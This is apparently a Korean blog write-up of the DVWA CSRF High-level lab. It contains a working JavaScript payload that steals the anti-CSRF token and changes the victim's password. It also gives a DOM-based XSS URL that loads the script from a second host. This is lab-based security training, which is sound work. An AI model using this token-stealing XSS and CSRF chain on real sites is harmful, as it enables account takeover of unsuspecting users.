이 문서에 포함된 어떠한 내용도 불법적이거나 비윤리적인 목적으로 보안 도구나 방법론을 사용하도록 가르치거나 장려하지 않습니다. 항상 책임감 있는 태도로 행동하세요. 여기에 설명된 도구나 기법을 사용하기 전에 개인 테스트 환경 또는 허가를 받았는지 확인하세요. |
[ 환경 ]
DVWA | v1.9 |
Burp Suite | Community Edition v2024.11.2 |
$change = false;
$request_type = "html";
$return_message = "Request Failed";
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
$data = json_decode(file_get_contents('php://input'), true);
$request_type = "json";
if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
array_key_exists("password_new", $data) &&
array_key_exists("password_conf", $data) &&
array_key_exists("Change", $data)) {
$token = $_SERVER['HTTP_USER_TOKEN'];
$pass_new = $data["password_new"];
$pass_conf = $data["password_conf"];
$change = true;
}
if (array_key_exists("user_token", $_REQUEST) &&
array_key_exists("password_new", $_REQUEST) &&
array_key_exists("password_conf", $_REQUEST) &&
array_key_exists("Change", $_REQUEST)) {
$token = $_REQUEST["user_token"];
$pass_new = $_REQUEST["password_new"];
$pass_conf = $_REQUEST["password_conf"];
$change = true;
}
f ($change) {
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
if( $pass_new == $pass_conf ) {
$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
$pass_new = md5( $pass_new );
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
if ($request_type == "json") {
generateSessionToken();
header ("Content-Type: application/json");
print json_encode (array("Message" =>$return_message));
exit;
mysqli_close($GLOBALS["___mysqli_ston"]);
generateSessionToken();
소스코드는 비밀번호 변경 요청을 처리하며, JSON 및 HTML 두 가지 요청 유형을 지원한다. 요청이 JSON 형식일 경우 JSON 응답을 반환하고, HTML 형식일 경우 사용자에게 HTML 메시지를 표시한다. Anti-CSRF 토큰 검증, 비밀번호 검증, 데이터베이스 업데이트 등의 보안 조치가 포함되어 있다.
비밀번호 변경 페이지에서 요청 또는 페이지 새로 고침이 있을 때마다 Anti-CSRF 토큰 (user_token)이 다시 생성되는것을 확인할 수 있다. 이 매개변수의 값은 서버에 있는 값과 비교하여 유효성을 검사한다.
이를 해결하기 위해 XSS를 통해 JavaScript를 실행하여 토큰의 값을 가져온 다음 CSRF를 수행하여 비밀번호를 변경할 예정이다.
user_token은 CSRF 비밀번호 변경 페이지에 대한 이전 GET 요청에서 얻으며, 이 user_token 추출하여 비밀번호를 변경하는 JS 코드를 작성하였다.
var theUrl = 'http://192.168.107.144/DVWA/vulnerabilities/csrf/';
var pass = 'test112';
var hacked = false;
// XMLHttpRequest 생성 함수
function createXmlHttpRequest() {
if (window.XMLHttpRequest) {
return new XMLHttpRequest();
} else {
return new ActiveXObject("Microsoft.XMLHTTP");
}
}
// 첫 번째 요청으로 CSRF 토큰 가져오기
var xmlhttp = createXmlHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var text = xmlhttp.responseText;
var regex = /user_token' value='(.*?)' \/>/;
var match = text.match(regex);
if (match && match[1]) {
var token = match[1];
var newUrl = 'http://192.168.107.144/DVWA/vulnerabilities/csrf/?password_new=' + pass + '&password_conf=' + pass + '&Change=Change&user_token=' + token;
if (!hacked) {
hacked = true;
alert('Got token: ' + token);
// 두 번째 요청으로 비밀번호 변경
var hackRequest = createXmlHttpRequest();
hackRequest.withCredentials = true;
hackRequest.open("GET", newUrl, true);
hackRequest.send();
}
} else {
console.error('Token not found in response.');
}
}
};
xmlhttp.open("GET", theUrl, true);
xmlhttp.send();
코드의 진행 흐름은 아래와 같다.
1. CSRF 페이지(theUrl)로 GET 요청을 전송하여 HTML 응답을 받는다.
2. 응답에서 user_token 값을 추출한다.
3. 추출된 user_token과 함께 두 번째 요청을 보내 비밀번호를 변경한다.
4. 요청이 성공하면 사용자가 설정한 비밀번호(test112)로 변경된다.
이제 해당 JS 스크립트를 임의의 서버에 업로드 한 후 피해자가 이 JS 스크립트를 실행 하도록 유도한다. 여기서는 DOM base XSS을 이용할 예정이며, 피해자가 아래 XSS 코드를 실행하면 스크립트가 토큰을 가져와 CSRF를 수행한다.
http://192.168.107.144/DVWA/vulnerabilities/xss_d/?default=English#%3Cscript%20src=%22http://192.168.107.135/DVWA-CSRF-High.js%22%3E%3C/script%3E
Burp Suite로 해당 내용을 살펴보면 아래와 같이 확인할 수 있다. DOM base XSS가 실행된 이후 브라우저는 자동으로 DVWA-CSRF-High.js 파일을 불러 오는것을 확인할 수 있다.
이후 DVWA-CSRF-High.js가 정상적으로 실행되면 추출한 user_token를 이용하여, 비밀번호를 변경하는것을 확인할 수 있다.
DVWA : File Inclusion - Low level (2) | 2025.01.02 |
---|---|
DVWA : CSRF - Impossible level (0) | 2025.01.01 |
DVWA : CSRF - Medium level (0) | 2025.01.01 |
DVWA : CSRF - Low level (0) | 2024.12.30 |
DVWA : Command Injection - Impossible level (0) | 2024.12.29 |